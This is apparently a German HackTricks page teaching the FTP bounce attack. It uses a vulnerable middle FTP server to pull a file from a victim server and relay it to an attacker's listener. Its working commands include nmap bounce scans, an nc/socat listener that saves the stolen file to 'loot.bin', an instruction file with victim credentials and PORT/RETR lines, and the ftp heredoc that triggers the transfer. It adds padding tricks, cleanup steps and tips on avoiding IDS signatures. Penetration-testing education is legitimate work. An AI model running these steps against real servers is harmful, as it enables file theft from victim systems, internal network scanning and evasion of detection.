FTP Bounce: Download 2 einer FTP-Datei

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung

Wenn du Zugriff auf einen bounce FTP server hast, kannst du ihn dazu bringen, Dateien von einem anderen FTP server (bei dem du einige Zugangsdaten kennst) anzufordern und diese Datei auf deinen eigenen Server herunterzuladen.

Anforderungen

  • Gültige FTP-Zugangsdaten auf dem FTP Middle server
  • Gültige FTP-Zugangsdaten auf dem Victim FTP server
  • Beide Server akzeptieren den PORT command (bounce FTP attack)
  • Du kannst in einem Verzeichnis des FTP Middle server schreiben
  • Der Middle-Server hat mehr Zugriff innerhalb des Victim FTP Server als du

Schritte

  1. Verbinde dich mit deinem eigenen FTP server und setze die Verbindung auf passive Mode (pasv command), damit er in einem Verzeichnis lauscht, in das der Victim-Dienst die Datei senden wird.
  2. Erstelle die Datei, die der FTP Middle server an den Victim server senden wird (das exploit script). Diese Datei ist Plaintext mit den nötigen Befehlen, um sich beim Victim server zu authentifizieren, das Verzeichnis zu wechseln und eine Datei auf deinen eigenen Server herunterzuladen.
  3. Verbinde dich mit dem FTP Middle Server und lade die zuvor erstellte Datei hoch.
  4. Veranlasse, dass der FTP Middle server eine Verbindung zum Victim server aufbaut und die exploit file sendet.
  5. Fange die Datei auf deinem eigenen FTP server ab.
  6. Lösche die exploit file vom FTP Middle server.

Quick check for vulnerable bounce hosts

  • Nmap unterstützt immer noch FTP bounce checks. Beispiel, um einen potenziellen Middle-Server zu überprüfen:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Wenn der Server Drittanbieter-PORT-Werte ablehnt, schlägt der Scan fehl; einige eingebettete/veraltete Drucker, NAS und Appliance FTP daemons erlauben es weiterhin.

Automatisierung des 2. FTP-Downloads

Nachfolgend eine modernisierte Methode, um eine Datei über einen verwundbaren mittleren FTP-Server herunterzuladen.

  1. Öffne einen passiven Listener auf deinem Angriffsrechner (jeder TCP-Sink funktioniert):
nc -lvnp 2121 > loot.bin  # oder einen kleinen pyftpdlib-Server laufen lassen
  1. Notiere deine IP als A,B,C,D und den Port P als p1,p2 (p1 = P/256, p2 = P%256).

  2. Erstelle die Instruktionsdatei, die der mittlere Server gegenüber dem Opfer abspielen wird:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Hochladen & auslösen vom mittleren Server (klassisches Proxy-FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Hole die Datei von deinem Listener (loot.bin).
  2. Bereinige die hochgeladene Datei instrs auf dem mittleren Server.

Hinweise:

  • Padding (dd ...) verhindert, dass die Steuerverbindung schließt, bevor der RETR abgeschlossen ist (Problem mit großem TCP-Fenster, das in klassischen Writeups diskutiert wird).
  • Jeder Dienst, der TCP abhören und dumpen kann, kann die FTP PASV-Socket ersetzen (z. B. socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Wenn der mittlere Server privilegierte Ports einschränkt, verwende einen hohen Port in PORT und passe deinen Listener entsprechend an.

Extra-Tricks

  • Verwende einen bounceable FTP-Server, um Port-Scans interner Hosts durchzuführen, wenn die Datei-Weiterleitung blockiert ist:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Einige moderne WAF/IDS (z. B. Juniper IPS) liefern Signaturen speziell für FTP:EXPLOIT:BOUNCE-ATTACK; auffällige Payloads oder fehlendes Padding können diese auslösen.
  • Wenn der mittlere Server “PORT to same host”-Beschränkungen durchsetzt, platziere deinen Listener auf dem mittleren Server selbst (wenn du Schreib-/Ausführungsrechte hast) und leite die aufgefangene Datei später weiter.

Für eine detailliertere Old‑School-Anleitung siehe: http://www.ouah.org/ftpbounce.html

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks